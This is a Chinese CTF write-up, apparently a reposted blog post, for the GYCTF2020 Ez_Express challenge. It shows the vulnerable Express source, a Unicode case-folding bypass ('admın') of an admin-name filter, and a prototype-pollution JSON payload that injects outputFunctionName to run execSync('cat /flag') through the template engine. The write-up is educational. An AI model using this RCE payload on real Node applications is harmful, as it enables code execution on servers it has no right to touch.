[GYCTF2020]Ez_Express 原型链污染 js大小写特性

[GYCTF2020]Ez_Express
随便注册一个账号登录,查看源代码可以发现www.zip的提示
在这里插入图片描述
下载源码,找到index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    
    
  for (var attr in b) {
    
    
    if (isObject(a[attr]) && isObject(b[attr])) {
    
    
      merge(a[attr], b[attr]);
    } else {
    
    
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
    
    
  return merge({
    
    }, a);
}
function safeKeyword(keyword) {
    
    
  if(keyword.match(/(admin)/is)) {
    
    
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
    
    
  if(!req.session.user){
    
    
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={
    
    'user':req.session.user.user});
});


router.get('/login', function (req, res) {
    
    
  res.render('login');
});



router.post('/login', function (req, res) {
    
    
  if(req.body.Submit=="register"){
    
    
   if(safeKeyword(req.body.userid)){
    
    
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
    
    
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    
    
    if(!req.session.user){
    
    res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
    
    
      req.session.user.isLogin=true;
    }
    else{
    
    
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
    
    
  if(req.session.user.user!="ADMIN"){
    
    res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
    
    
  res.render('index',data={
    
    'user':res.outputFunctionName});
})
module.exports = router;

首先想办法以admin登录,在注册的时候如果以ADMIN注册会弹出forbid word,这里admin被过滤了,无论大小写。

function safeKeyword(keyword) {
    
    
  if(keyword.match(/(admin)/is)) {
    
    
      return keyword
  }

但在注册完存放用户名的时候,会被转成大写。利用javascript的特性,"ı"的大写是“I”、"ſ"的大写是“S”。因此用admın绕过。

req.session.user={
    
    
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

在这里插入图片描述
继续看源码发现merge和clone那多半是原型链污染

const merge = (a, b) => {
    
    
  for (var attr in b) {
    
    
    if (isObject(a[attr]) && isObject(b[attr])) {
    
    
      merge(a[attr], b[attr]);
    } else {
    
    
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
    
    
  return merge({
    
    }, a);
}

我们在框中的输入提交后触发/action,其中触发了 req.session.user.data = clone(req.body);
关于原型链污染,这篇文章讲的很详细https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
要达成的目标可以看/info,将outputFunctionName渲染到页面中,但是这个outputFunctionName没有定义。所以我们可以给对象原型的类添加一个outputFunctionName属性,通过它得到flag。

router.get('/info', function (req, res) {
    
    
  res.render('index',data={
    
    'user':res.outputFunctionName});
})

content type改成application/json
payload:

{
    
    "lua":"a","__proto__":{
    
    "outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

在这里插入图片描述
再访问/info得到flag
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/scrawman/article/details/122664989
今日推荐